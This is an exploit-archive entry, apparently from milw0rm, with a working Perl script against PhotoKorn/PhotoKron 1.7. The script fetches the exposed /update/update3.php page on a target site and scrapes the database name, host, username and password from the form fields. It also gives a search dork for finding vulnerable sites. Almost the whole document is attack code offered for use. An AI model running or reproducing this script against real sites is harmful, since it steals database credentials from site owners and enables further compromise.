photokron <= 1.7 (update script) Remote Database Disclosure Exploit

#!/usr/bin/perl #Script : PhotoKron All Version #All Version #Author : Pr0metheuS #Gr33tz to Gr33tz-Team #Gr33tz-Team.ORG #Dork : &#34;Powered by photokorn&#34; ### INFO ## # Works IF /update/ is on server...60% site are vulnerable.... ## INFO ## use LWP::UserAgent; if (@ARGV!=2) { print &#34;-=-=-=-=-=-=-=-=-=-=-=--=\n&#34;; print &#34;PhotoKorn Remote Database Info\n&#34;; print &#34;by Pr0metheuS\n&#34;; print &#34;perl $0 &#60;site&#62; &#60;path&#62;\n&#34;; print &#34;-=-=-=-=-=-=-=-=-=-=-=--=\n&#34;; } (my $site,my $path)=@ARGV; my $ua = new LWP::UserAgent; $ua-&#62;agent(&#34;Mozilla/8.0&#34;); $ua = LWP::UserAgent-&#62;new; my $req = HTTP::Request-&#62;new(GET =&#62; &#34;&#34;.$site.&#34;&#34;.$path.&#34;/update/update3.php&#34;); $req-&#62;header(&#39;Accept&#39; =&#62; &#39;text/html&#39;); my $res = $ua-&#62;request($req); my $con = $res-&#62;content; if ($res-&#62;is_success) { print &#34;-=-=-=-=-=-=-=-=-=-=-=--=\n&#34;; print &#34;PhotoKorn Remote Database Info\n&#34;; print &#34;by Pr0metheuS\n\n&#34;; if($con =~ /&#60;input type=&#34;text&#34; value=&#34;(.*)&#34; name=&#34;dbname&#34;&#62;/){ $dbname = $1; print &#34;[+] DBNAME : $dbname\n&#34;; } if($con =~ /&#60;input type=&#34;text&#34; value=&#34;(.*)&#34; name=&#34;dbhost&#34;&#62;/){ $dbhost = $1; print &#34;[+] DBHOST : $dbhost\n&#34;; } if($con =~ /&#60;input type=&#34;text&#34; value=&#34;(.*)&#34; name=&#34;dbusername&#34;&#62;&#60;\/td&#62;/){ $dbuser = $1; print &#34;[+] DBUSER : $dbuser\n&#34;; } if($con =~ /&#60;input type=&#34;password&#34; value=&#34;(.*)&#34; name=&#34;dbpassword&#34;&#62;&#60;\/td&#62;/){ $dbpass = $1; print &#34;[+] DBPASSWORD : $dbpass\n&#34;; } print &#34;-=-=-=-=-=-=-=-=-=-=-=--=\n&#34;; } else{ print &#34;[+] Exploit Failed...\n&#34;; } # milw0rm.com [2008-01-11]